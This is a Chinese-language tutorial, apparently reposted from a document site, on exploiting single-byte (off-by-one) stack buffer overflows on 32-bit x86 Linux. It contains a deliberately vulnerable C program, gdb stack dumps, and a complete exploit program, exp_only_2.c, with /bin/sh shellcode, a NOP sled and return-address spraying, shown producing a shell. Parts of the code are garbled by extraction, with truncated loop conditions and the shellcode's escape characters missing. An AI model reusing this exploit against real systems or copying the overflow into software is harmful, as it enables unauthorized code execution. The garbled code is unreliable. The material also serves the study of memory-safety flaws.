当前页面位置: » 丰搜网 » 文档中心 » 详细内容
一种新的单字节缓冲区溢出技术
正如你所看到的，有关单字节缓冲区溢出问题确实存在及可利用，但是有没有一种好的方法，例如说猜测地址来实现呢？答案当然是肯定的。 想一想，当发生单字节溢出的时候，%ebp被我们覆盖，如果我们将buffer填满跳转地址，其中跳转地址指向我们的shellcode，它可以放在argv[]或者是环境变量中，那么，当两次ret后，从堆栈中弹出来的地址就会跳到我们的shellcode。如下图：
栈顶(低地址) 栈顶(低地址)
-----------+ ----------
跳转地址 ...... -+
---------- ----------
跳转地址 ......
---------- ----------
+-> ...... ......
---------- ----------
...... -------------> ......
---------- ---------- ==>shellcode
...... ......
---------- ----------
跳转地址 ......
---------- ----------
跳转地址 ......
-----------+ ----------
+--保存的%ebp<-1字节被覆盖 ......
---------- ----------
保存的%eip ...... -+
---------- ----------
栈底(低地址) 栈底(低地址)
在这种情况下，我们实际上仍然要提供两个offset给exploit，一个覆盖%ebp的偏移，一个shellcode地址偏移。但是我们还是有一种方法，即用一个特别的字节来覆盖%ebp的最后一个字节，是%ebp总在buffer里，这样，最后需要猜测的只剩下shellcode地址，与普通的缓冲区溢出一样了。
我们同样来分析warning3的《单字节缓冲区溢出》中的漏洞程序：
#include<stdio.h>
vul(char *p){
char buf[255];
int i;
for(i=0;i<=256;i++){
buf[i]=p[i];
}
}
int main(int argc,char **argv){
if(argc>1) vul(argv[1]);
}
[laolang@localhost teach]$ gcc only.c -o only
[laolang@localhost teach]$ ./only `perl -e 'print "a"x256'`
segmentation fault (core dumped)
[laolang@localhost teach]$ gdb -q only -c core
core was generated by `./only aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
program terminated with signal 11, segmentation fault.
reading symbols from /lib/libc.so.6...done.
loaded symbols for /lib/libc.so.6
reading symbols from /lib/ld-linux.so.2...done.
loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
(gdb)
看,发生溢出了。此时堆栈如下图所示：
栈顶(低地址)
----------
0x61616161
----------
0x61616161
----------
+-> ...... <--- 由于执行无效指令，导致core dump
----------
......
----------
......
----------
0x61616161
----------
0x61616161
----------
+--保存的%ebp<--- 1字节被（0x61）覆盖
----------
保存的%eip
----------
栈底(低地址) 栈底(低地址)
溢出的关键还在溢出的那一个字节。在这种条件下，只有计算buffer地址和猜测buffer地址两种方法，前者很麻烦，而且对于远程溢出无能为力，所以，我们来研究第二种方法。
为了提高成功率，我们溢出的一个字节的数据应该填一个很小的数字，特别是当buffer长度大于或等于256个字节的时候，不管buffer的地址是多少，总会准确的弹出跳转地址做为%eip，这样实际上只用猜测shellcode的地址，与普通的缓冲区溢出一样了。堆栈如下图所示：
溢出前堆栈情况：
(gdb) x/16 $esp
0xbffff82c: 0xbffff84c 0x08048441 0xbffffa18 0xbffff858
0xbffff83c: 0x4005be78 0x4014cacc 0x4000b1b0 0xbffff868
0xbffff84c: 0xbffff888 0x40048486 0x00000002 0xbffff8b4
0xbffff85c: 0xbffff8c0 0x08048490 0x00000000 0xbffff888
溢出后堆栈情况：
(gdb) x/100 $esp
0xbffff714: 0x4014cacc 0x00000000 0x4003f658 0x00000000
0xbffff724: 0x40008395 0x00000101 0x61616161 0x61616161
0xbffff734: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff744: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff754: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff764: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff774: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff784: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff794: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7a4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7b4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7c4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7d4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7e4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7f4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff804: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff814: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff824: 0x61616161 0x61616161 0xbffff800 <---- 看，最后一个字节被覆盖
……
(gdb)
此时：
栈顶(低地址)
----------
0x61616161
----------
0x61616161
----------
+-> ...... <--- 由于执行无效指令，导致core dump
----------
......
----------
......
----------
0x61616161
----------
0x61616161
----------
+--保存的%ebp<--- 1字节被（0x00）覆盖
----------
保存的%eip
----------
栈底(低地址) 栈底(低地址)
只要被覆盖的字节足够小，最终都会执行到我们的shellcode。以下是exploit：
[mrj@localhost test]$ cat exp_only_2.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define nop 0x90
#define buff 2048 //缓冲区大小
#define bit 16 //覆盖字节
#define point 256 //溢出点
#define offset 500 //偏移
unsigned long get_esp(void){
__asm__("movl %esp,%eax");
}
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
int main(int argc,char **argv){
char *buf;
int addr=get_esp(),bsize=buff+point,offset=offset,bit=bit;
int i,j;
if(!(buf=malloc(bsize))){
printf("no enough memory!n");
exit(1);
}
if(argc>1) bit=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);
addr-=offset;
for(i=0;i buf[i]=(addr&0x000000ff);
buf[i+1]=(addr&0x0000ff00)>>8;
buf[i+2]=(addr&0x00ff0000)>>16;
buf[i+3]=(addr&0xff000000)>>24;
}
buf[i++]=bit;
for(i=i;i buf[i]=nop;
for(i=i,j=0;j buf[i]=shellcode[j];
buf[bsize-1]='';
execl("./only_2","only_2",buf,null);
}
[mrj@localhost test]$ gcc exp_only_2.c -o exp_only_2
[mrj@localhost test]$ ./exp_only_2
sh-2.05$ exit
exit
[mrj@localhost test]$
◆结束语：
正如你所看到的，对于有单字节溢出的程序，同样也可以使用猜测shellcode地址的方法来进行攻击，这说明远程的单字节缓冲区溢出可以实现。但是并不是所有的单字节溢出都可以利用，例如说在大endian结构的系统下就不能成功溢出。或者buffer太小的话，我们猜测buffer地址和shellcode地址就显得十分麻烦。
